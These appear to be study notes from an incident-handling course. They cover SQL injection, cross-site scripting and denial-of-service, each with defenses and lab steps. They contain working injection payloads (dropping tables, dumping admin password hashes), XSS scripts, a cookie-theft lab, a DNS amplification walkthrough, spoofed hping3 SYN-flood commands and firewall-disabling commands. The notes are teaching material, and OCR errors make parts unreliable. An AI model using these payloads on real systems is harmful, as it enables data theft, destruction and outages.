- Conduct vulnerability assessments and penetration tests regularly
• Identification:
— Look for unusual traffic outbound from web servers
— Look for extra accounts or other configuration changes on servers
• Containment:
— Fix the application, and consider a Web Application firewall
— Remove attacker software and accounts
— Cheek for a roothit
• Eradication:
If roothit were installed, rebuild
• Recovery:
— Watch for attacker's return

SQL injection:

- most web apps have a web server with a backend database.
- the web app takes user input and plops it into an SQL statement to get/update data in the database.

select [field] from [table] where [variable] = '[value]';

update [table] set <variable> = '<value>';   <---- often contains user input!

Various tools automate scanning for SQL injection flaws:
Ninap Scripting Engine script:

Zed Attack Proxy (ZAP): Attack_Proxy_Pioject

Burp Suite:



After a target user input string has been identified, use standard database logic elements and see what happens!
— Double dash (--): Comment delimiter
— Semicolon (;): Query terminator
— Asterisk (*): Wildcard selector
— Percent (%): Matches any substring
— Underscore (J: Matches any character

• Other useful entities are OR, TRUE, 1=1, SELECT, JOIN, and UPDATE

Suppose web app has:
select * from users where name ‘ [value]

• Suppose attacker types in a name of:

• Resulting SQL will be:
select * from users where name = ‘Fred’’;

• Those final two’ marks cause a syntax error!
* Error messages vary but could include “Database error,” “Syntax Error,” or a generic error message

Suppose web app has:
select * from users where name = ‘ [value] ‘;

• Now, attacker types in a name of:
Fred'; drop table users;--

• Resulting SQL is:
select * from users where name = 'Fred'; drop table users;--';

• Everything after -- will be ignored
— The table users will be deleted!
— Some database types can accept /* for a comment delimiter as well

Suppose web app has:
select * from users where name = '[value]';

• Now, attacker types in a name of:
' or 1=1;—-

• Resulting SQL is:
select * from users where name = '' or 1=1; --';

• 1=1 is always true, and anything or true is true

Therefore the database returns some data. Possibly the admin's ID number, if it's the first in the table.

Suppose web app has:
select * from users where name = ‘[value]‘;

• Now, attacker types in a name of:
Fred’ union select name,1, ‘1’,1, ‘1’ from master..sysdatabases;-—

• On MS SQL Server, this retrieves database names:
Fred’ union select name,1,’1’,1,’1' from [db_name]..sysobjects where xtype= ‘U’;--

• On MS SQL Server, this retrieves table names
- Similarly, an attacker can grab column names, look at values stored in individual columns, join tables, and more
• It’s pretty much raw access of the database ... with the credentials that the web app uses to log in to the database

Defenses: Preparation:
Limit the permissions of the web app when accessing the database:
— Won’t eliminate SQL Injection but can limit damage
• Consider using pararneterized stored procedures:
- Code splits up user input into parameters fed to stored proc in database
— White paper on the topic at do-stored-procedures-protect-against-sql-injection.aspx

• On the server side, the app should filter user input, removing:
- Quotes of all kinds (i.e.  ,’, ‘,“,and “).
— Minus signs (-) Semicolons (;) Asterisks (*) Percentages (%) Underscores (_)
— Other shell/scripting metacharacters (=&\*?~<>^()[]{}$\n\r)

• Your best bet: Define characters that are ok (alpha and numeric), and filter everything else out ... filter after canonicalization of input
• You must do this on the server side! Client-side filtering is easy to bypass
• Modsecurity offers solid filtering features for Apache, ITS, and Nginx
• For those characters you actually need, introduce a substitute: Apostrophe can be changed to &ap, less than can become &lt, and so on.

— Search web application logs for special characters (‘;“ etc.) or phrases such as union, select, join, and inner
— DLP tools may detect exfiltration event for P11. Although encryption may hamper the abi1ity to detect

• Containment:
— Block source IP address and/or account being exploited

• Eradication and Recovery:
— Remove attacker data from the system

If people launch this kind of attack against you, filter their source IP address and/or user account at a firewall or in the web application.

Eradication and Recovery for such attacks involve removing any attacker-placed data from the database. Involve your antifraud group (if your organization has one) to help investigate what the attacker attempted to do.

Defenses Identification and Containment SQL Injection
— Launch fraud investigation if required

Cross-Site Scripting:

- Consider a website that gathers user input
- User input is sent back to user’s browser without filtering
- “You just typed in the following, right?” [userjnput]
• Attacker crafts URL with a script in it:
— Script in the URL is sent to server as user input
- User input displayed back to user; script “reflected" back to client
— Script runs on client browser
• Which do you want to search for? You want to search on:
<SCRIPT LANGUAGE=Javascript>alert (“You are vulnerable to cross-site scripting!”) ;</SCRIPT>

Attacker’s script must be sent to the victim:
— URL embedded in an e-mail or newsgroup posting
— URL provided on a third-party website (either clicked by victim user or automatically loaded when visiting a malicious website)
— Inter-user communication within the target site (such as message board)

• Amazing website with various cross-site scripting encoding techniques at:
https://www owasporg/indexphp/XSS_FiIter Evasion

Attacker intends to obtain sensitive data from victim user that is only accessible in the security context of the target site:
— For example, I want to steal your online banking cookies!
— Or, the attacker wants to run transactions as a victim user

• Attacker searches target site to find CGI/ASP/JSP/PHP script that does not filter user supplied input, especially HTML <SCRIPT> tags:
— The site displays hack to the user something the user types in

• Attacker writes a URL with specialized browser script (most likely in JavaScript) that performs an action as a victim user on the target site:<SCRIPT LANGUAGE=Javascript>alert (“Vulnerable! “) ;</SCRIPT>

• That merely pops up a dialog box. Here is a browser script that steals a cookie associated with and delivers it to a web server at attackersite,com:

0) Victim uses a website that sets cookies on the victim’s browser
1) Victim clicks a URL or visits a website that includes the malicious script
2) Victim user’s browser transmits malicious code to the vulnerable target site as a web request
3) Target site reflects the malicious code back to the victim user’s browser in the response to the request
4) Malicious code executes within victim user’s browser under the security context of the target site.

Look by the Symantec white paper on "Drive-by Pharming"!

Jikto tool by Billy Hoffman performs a Nikto scan of internal websites using XSS functionality.
Dan Kaminsky has demonstrated arbitrary TCP access via browser scripts.

Don't forget about the BeEF frameowork, by Wade Alcorn!

Beyond inserting scripts, attackers could also insert text or even pictures to confuse web surfers
• A rash of these issues were discovered for news sites September 2004
• CNN was a notable example, fixed in 24 hours
• E-mail to victim says to surf here:ódg%2osrc%3dh%74tp:%2f/w%77w%%eobtu%73e%2e%6eet%2fa%2e%6apg%3e
• Thats an encoded form of:” <img src=>

Many applications have an administrative console accessed using a browser
• Such applications typically log all kinds of things:
— Date and timestamp
— User account
— Transaction type and transaction details
— User agent string (browser type)
— Possibly packet logs
• The administrator reviews these logs using app-level credentials in the application

How to send scripts?
— HTTP / HTTP$ via web app (of course), E-mail, FTP
— Other possibilities:
• US, Postal Service
• Mag Stripe
• Electronic Data Interchange (EDT)? X.25? SS7?
— With webified applications thirsty for scripts, any form of data input could be a vehicle for malware infiltration
• Concerns for networks built around Bell-LaPadula model of “no write-down, no read up”
• As designed, this stops info leakage. But it does allow for malware infection

Defenses: Preparation:

Remove from user input all characters that are meaningful in scripting languages: =< >“‘Q;&
— You must do this filtering on the server side
You cannot do this filtering using JavaScript on the client because the attacker can get around such filtering

• More generally, on the server side, your application must filter out:
— Quotes of all kinds C, “, and’)
— Semicolons (;), Asterisks (*), Percentages (%), Underscores (_)
— Other shell/scripting metacharacters (=&\|*?—<>^()[]{}$\n\r)
• It’s also good idea to delete or encode these from website output, too!
— Microsoft’s free Anti-XSS library for ASP .NET code encodes all output not included in a specific whitelist before sending it to browsers to prevent XSS attacks
• Your best bet: Define characters that are ok (alpha and numeric), and filter everything else out; a white list approach.
• Again, ModSecurity for Apache, 118 and Nginx includes such filtering capabilities.

Client Defenses: Preparation:

• To defend clients, disable scripting, or use browser features to selectively control scripts:
* NoScript Firefox extension at

• Selectively allows JavaScript, Java, Flash, and other plugins to be invoked only by certain tiusted websites
• Also includes anti-XSS capabilities, looking for suspicious scripting activity and blocking it
— IE 8 and later include a built-in X$S filter:

• looks for JavaScript included in URLs or HTTP POST variables.
• When it finds such elements, IF analvies whether they are potentially dangerous, and, if so, it neuters them by filtering out elements of the script
• The user is alerted when suspicious scripts are detected and filtered
• Recent versions of Google’s Chrome browser includes an XSS filter as well

— IDS and/or logs showing user input with embedded scripts
— Watch for encoded information (Hex, Unicode, etc.)
• Containment:
— Add a filter to incoming data
• Eradication:
— Remove attacker's data and/or transactions
• Recovery:
— Contact antifraud

Lab: XSS and SQLi:

Now that we have talked about Cross-Site Scripting and SQL Injection, let’s do both in a lab
• There is a simple web server on the class Linux VM that is vulnerable to XS$ and $QLi
• In this lab, you discover those vulnerabilities and then exploit them:

Lab: XSS and SQLi
— To steal a cookie with XSS
- To dump passwords with SQL Injection
• The goal of these labs is for you to have a portable XSS and SQLi lab to play with to get familiar with how these attacks work
• It is also useful for the Day 6 CTF

1. Identify an XSS vulnerability by generating an alert
2. Take advantage of the discovered XSS vulnerability to steal a cookie
3. Identify the SQL Injection vulnerability by generating an error
4. Attack the web app through SQLi to dump all e-mail addresses from the app’s database
5. Attack the server through $QLi to dump the administrator's password hash!

#service mysql start
#cd /home/sec560/CourseFiles/504_Web_App_Lab

(starting the servers, for Cross-Site Scripting Page ('Leave a comment' section vulnerability) and SQL Injection page ('Contact US (Email Search); section vulnerability).

Analyze the attack with the browser cache

Exploiting XSS:

nc -v -l -p 2222


Step 0: $cd /home/tools/nikto-2.1.2

Then you need to start Nikto and have it create a single response.

Step l:$perl ./ —Single
Note that Single is initial-capped.

’ or ‘1'='1
in the username field.

admin' union select password from users where username=’admin’ ;——

Browsers and add-ons for manipulating HTTP requests:
Also, some commercial tools implement specific web scanners that look for cookies, hidden form elements, and URLs that can be manipulated. Vulnerability scanners are focused on web applications specifically. Specialized Browsers for Manipulating Data requests:
— Tamper Data: free firefox plug-in for manipulating numerous aspects of HTTP requests:
https: //

— firebug: Firefox web page and script editor and development tool:

- Add N Edit Cookies: Free Firefox plug-in:
https : //addons.mozi11a org/enUS/firefox/addon/573

Use BurpSuite and Zap!

• You can view and edit anything that’s passed to the browser
• Account numbers
• Balances
• Some shopping carts pass price info to browser:
    — And the web app trusts whatever comes back!!
• Cranky customer indicators
Any variable passed to the browser can be altered by the user unless the application performs some integrity check.

Web Application Defenses: Preparation with WAF
• Defenders can play the proxy game, too
• Often called a Web Application Firewall (WAF):
— Proxy monitors state elements and other inbound data that are passed to or from web app
— If state elements that should be static come back altered, the proxy resets them and rings bells and whistles
— Likewise, if SQL injection, XSS, or other attacks are detected, they can be filtered
— SecureSphere Web Application Firewall
— Citrix NetScaler App Firewall
— F5 Application Security Manager (ASM)
— free OWASP Stinger (focuses on input filtering)
— free ModSecurity offers similar protections; although it is not a proxy

• Identification:
— Users complaining of account usurpation
• Containment:
- Strongly advise shutting down app while it gets fixed
— Otherwise, quarantine accounts that have fallen victim
• Eradication:
- Remove attacker's data from victim accounts
• Recovery:
— Careftilly restore accounts and reset passwords for victim users
- Monitor these accounts carefully

4.6 Denial of Service Attacks
category of Denial of Service Attack

Local DDos:

        Stopping Services        Exhausting Resources
Locally        Process Killing            Spawning processes to fill the process table
        Process crashing        Filling up the whole file system
        System reconfigure

Remotely    Malformed packet attack        Packet floods (eg: Smurf and Syn Flood DDoS)
(across the    (eg: bonk, WinNuke, and
network)    teardrop)

DNS Amplification Attack:

Send a small spoofed DNS query to servers DNS servers:
- and receive a large DNS response back to the target

Enter EDNS, it's a DNS query that can specify a larger buffer (> 512 bytes) for the response.
a set of Extension Mechanisms for DNS, described in RFC 2671. Some of these options allow DNS responses to be larger than 512 bytes and still use UDP, provided that the requester indicates that it can handle such large responses in the DNS query.

CpuHog sets it priority level to i6, the highest for a user mode application in Windows:
— To see a list of process priorities, you could run:

C:\> wmic process get naxne, priority
• Windows respond by setting the priority for all other applications to 15

You can also locally DoS a Linux system with a fork bomb:

• First, attacker finds several DNS servers configured to support recursive lookups from anywhere
• Second, the attacker queries those servers for a DNS name the attacker owns
• Third, attacker responds to query with a 4,000-byte TXT record
• Fourth, with the poison cached, the attacker spoofs DNS requests for that record using the source address of the target
• These responses flood the victim
To achieve this attack, the bad folks first locate several DNS servers that can perform recursive lookups on
behalf of anyone on the Internet. (A large majority of DNS servers have this configuration in the wild.) Next, the
attacker sends queries to those servers for a DNS record that the attacker controls on the attackers own DNS
server. Because they are configured for recursion, these DNS servers send the request back to the attacker, who
responds with a 4,000-byte TXT record, which will be cached in the DNS servers that will be used for
Next, now that the attacker has loaded the large record into the DNS server’s cache (for a long Time-To-Live. of
course), the attacker proceeds to send DNS query messages (with EDNS options for large responses enabled, of
course) to these servers, spoofing the address that the attacker wants to flood. These DNS servers respond with
the 4,000-byte TXT record, sending this UDP packet to the victim. The victim is inundated with many of such
packets, in a massive flood.

In Step 1, the bad folks first locate several DNS servers that perform recursive lookups on behalf of anyone on the Internet. (A large majority of DNS servers have this configuration in the wild.) The attacker sends queries to those servers for a DN$ record that the attacker controls on the attacker’s own DNS server.
In Step 2, because they are configured for recursion, these DNS servers send the request back to the attacker.
In Step 3, the attacker responds with a 4,000-byte TXT record, which is cached in the DNS servers used for amplification in Step 4.

In Step 5, now that the attacker has loaded the large record into the DNS servers cache (for a long Time-To
Live, of course), the attacker proceeds to send DNS query messages (with EDNS options for large responses
enabled, of course) to these servers, spoofing the address that the attacker wants to flood.
In Step 6, these DNS servers respond with the 4,000-byte TXT record, sending this UDP packet to the victim.
The victim is inundated with many of such packets, in a massive flood, as the attacker repeats Steps 5 and 6
again and again. Keep in mind that this process is repeated with hundreds or thousands of DNS servers,
inundating the victim with a massive flood.

Bot DoS Suites:
- often rely on sending unexpected garbage packets, buffer overflows, or unaligned/large fragments.

• Instead of launching each one of these individual attacks against a target, attackers have rolled together a bunch of individual DoS exploits together into a DoS suite
• Try all the different attacks, just to see if one crashes the target Several examples at
• Many bots support multiple different DoS attacks

• Instead of using one or a small number of machines to launch a flood, an attacker could use a large number of compromised machines
• The result is Distributed Denial of Service
• In the past, attackers relied on specialized DDoS tools:
— Tribe flood Network (TFN) and Tribe Flood Network 2ooo (TFN2K)
• Today, DDoS is usually launched using a botnet:
- Major regular attacks against ILS. banks in 2012, 2013, and 2014

Reflected DDoS attacks:
- using the TCP three-way handshake, an attacker can bounce a flood from the zombie to the victim.
- zombie sends a SYN to a legitimate site:
Major www service.
Core router.
- legitimate site sends a SYN-ACK to flood the victim.
- makes tracing the attack even more difficult.

Pulsing Zombies:
- to make investigations even more difficult, new tools implement pulsing zombies.
- each zombie floods the target for a short while (minutes), and then goes dormant for awhile.
- with a lot of zombies, the flood is still effective.
- tracing back an active attack is easier:
Call the ISP and have them step back router-by-router and ISP-by-ISP to find the flooding agent. A laborious process.
- when zombies go silent, it is more difficult to locate them!

Evolution of the Flood:
- Move from SYN floods to HTTP floods
SYN Floods: typically spoofed.
Focused on sucking up bandwidth or connection queue with bogus traffic.
Easier for ISPs to block by looking for abnormal traffic patterns.

HTTP floods:
- complete three-way handshake and send HTTP GET for common page, such as index.html
- much harder for differentiate from normal traffic.

Low Orbit Ion Canon (LOIC) supports TCP connection floods, UDP floods, or HTTP Floods (most common):
- runs on Windows, Linux and Android.
- also, available as simple JavaScript, surf to a web page and browser starts attacking a target.
- controlled by users or can get a list of targets from an IRC channel or Twitter using HIVE MIND feature; useful for quickly controlling volunteers in politically motivated floods.

- more recently, Anonymous has used an improved version of LOIC called the High Orbin Ion Cannon. Easier-to-use interface. Multithreaded to generate more traffic quicker. Support for customizable JavaScript scripts to access not just a single page on a website, but also instead numerous different pages.

Defenses: Preparation:
- to prevent yourself from becoming a DDoS agent
- for  your Internet-accessible systems, install host-based IDS and IPS to prevent attackers from gaining root or SYSTEM.
- keep systems patches.
- utilize antivirus tools to prevent installation and promote detection.
- EGRESS antispoof filters (extremely important!).

• To prevent being a denial-of-service victim:
— Design critical business systems with adequate redundancy
• Identification:
— Massive flood of packets
— for large scale networks (ISP-sized or big WANs), automated DDoS detection and throttling tools:
• Arbor Networks’ Peakflow: http://wwv.arbornetworkscom
• Riverbed NetProfiler
• Neustar SiteProtect: (
• CloudFlare:

• Containment:
- Get ready to marshal the incident response team of your ISP

• Erad, Recov: N/A

Lab: Counting Resources to Evaluate DoS Attacks:

• Now conduct a lab to analyze resource-exhaustion denial-of-service attacks on Windows and Linux

• To accomplish this, use some commands to count the number of various items:
— If you know the “normal” amount of a given item for a server, you can use these techniques to look for anomalies

• As incident handlers, we are sometimes called in to determine whether a denial-of-service attack is underway
— The techniques covered in this lab help determine whether this is the case

On Windows, you can count the number of lines of output that contain [text] with:
C:\> [command) | find /i /c "[text]”

• Alternatively, on Windows, you can count the number of lines of any output by running;
C:\> [command] | find /C /v ""

• On Linux, you can count the number of lines of output with:
$ [command] | grep —i —c [text]

• Alternatively, on Linux, you can count the number of lines of any output by running;
$ [command] | wc -l

Lab Flow:
— 1) Count processes with a given name
— 2) Count half-open connections to a given port under a SYN flood
3) Count full-open connections to a given port under a connection flood
• Linux:
— 4) Count processes with a given name
— 5) Count half-open connections to a given port under a SYN flood
- 6) Count full-open connections to a given port under a connection flood

• Remember the goal of the lab; it’s not about how to launch DoS attacks; it is about how to count resources to help recognize such attacks.

• To start, make sure you can ping Windows from Linux and vice versa, using host-only networking:
- In Linux: $ ping [WindowslpAddr]
— In Windows:c:\> ping [LinuxlPAddr]

#iptables -F

C:\> netsh firewall set opmode disable
C:\ netsh advfirewall set allprofiles state off (For Windows 8+ syssems)

1) Counting Running Processes in Windows (I):
• In this component of the lab, explore how to count processes of a given name:
— An attacker may launch processes to overwhelm a system
• Experiment with notepadexe
• Use a FOR loop to spawn 20 notepad&s
• Use the Windows tasklist command to list processes and the find command to count them

1) Counting Running Processes in Windows (2):

tasklist | find /i /C “notepad.exe”


tasklist |  find /i /c “notepad.exe”

for /L %i in (1,1,20) do @notepad.exe

tasklist | find /i /c “notepad.exe”

wmic process where name=”notepad.exe” delete

Choose a listening port on your Windows machine that you can bombard with SYN packets:
\> netstat —na | find /i “listening”
On most Windows machines, 445 is a useful option.

• Do not use a Netcat listener because it is not persistent (even with the —L option, it still closes the port before it starts relistening)

Use the netstat and find commands to count half-open connections (in the “SYN_RECEIVED” state)

• Launch SYN packets from Linux to Windows using the packet-crafting tool hping on Linux

To make this work, use a spoofed source address for the SYN packets.

For this component of the lab, start in Step A by counting the number of half-open connections you have on port 445 ofour Windows machine:

C:\> netstat —na | find “445” | find /i /c “syn received”

You likely do not see half-open connections because we haven’t started the attack yet.
Then, in Step B, use hping on Linux to launch 20 (--count 20) SYN packets (--syn) spoofing the source address of (--spoof to destination port 445 (-p 445) on your Windows machine. Hping by default sends one packet per second.

# hping3 --syn ---count 20 --spoof —p 445 [Windowslpaddr] <--
Should be

In Step C, as hping is running, rerun your netstat command to count the half-open connections on Windows.
Simply press the Up arrow key and Enter to rerun it. You should see the number of half-open connections ratcheting upward as hping runs:
C:\> netstat —na | find “445” | find /i /c “syn_received”

After hping is done, the half-open connections gradually start to time out, eventually returning to 0.

Counting Full-Open Connections in Windows:

- use a small shell script on Linux to launch full-open connections with a Windows target using Netcat.

#gedit /home/tools/504_Dos_ex/

root@slingshot# /home/tools/504_Dos_ex/

- on Windows see how many 'established' sessions you get with the command:

c:\> netstat -na | find "445" | find /i /c "established"

Counting Running Processes in Linux:
- experiment with xeyes, a simple GUI application.
- use a script with a simple while look to spawn 20 xeyes:

review the script:
#gedit /home/tools/504_DoS_ex/

#ps aux | grep xeyes

#ps aux | grep -c xeyes


#ps aux | grep -c xeyes

#killall -9 xeyes
#ps aux | grep -c xeyes

Counting half-open connections in Linux
- choose a listening port on your Linux machine that you can bombard with SYN packets:
#systemctl start sshd.service
#netstat -nat | grep -i listen

On the course VMware image, TCP 22 is a useful option
• Do not use a Netcat listener because it is not persistent
• Use the netstat and grep commands to count half-open connections (in the “SYNRECV” state)
• Launch SYN packets from Linux to Linux using the packet crafting tool hping on Linux
• To make this work, use a spoofed source address for the SYN packets of
- But, on Linux, it won’t go into the half-open state for long unless it can get ARP information about
— Thus, preload the ARP cache using the arp —S command

#arp -s 01:02:03:04:05:06

#hping3 --syn --count 20 --spoof -p 22

- in another shell windows type:
#netstat -na | grep 22 |grep -i -c syn_recv

#systemctl restart sshd.service
#netstat -na |grep 22 |grep -i -c syn_recv

On Windows, use a FOR loop to invoke Netcat to make full-Opefl connections against Linux
• Count the number of full open connections using netstat and the grep command to look for connections in the “ESTABLISHED” state

c:\> for /L %i in (1,1,20) do @start c:\tools\netcat\nc 22

In Linux do a nestat command like so:

#netstat -na | grep 22 |grep -i -c established

- retype the command above a few times and notice the count result increase.

#systemctl restart sshd.service

#netstat -na | grep 22 |grep -i -c established

#killall -9 sshd

#systemctl start sshd.service
#netstat -na | grep 22 | grep -i -c established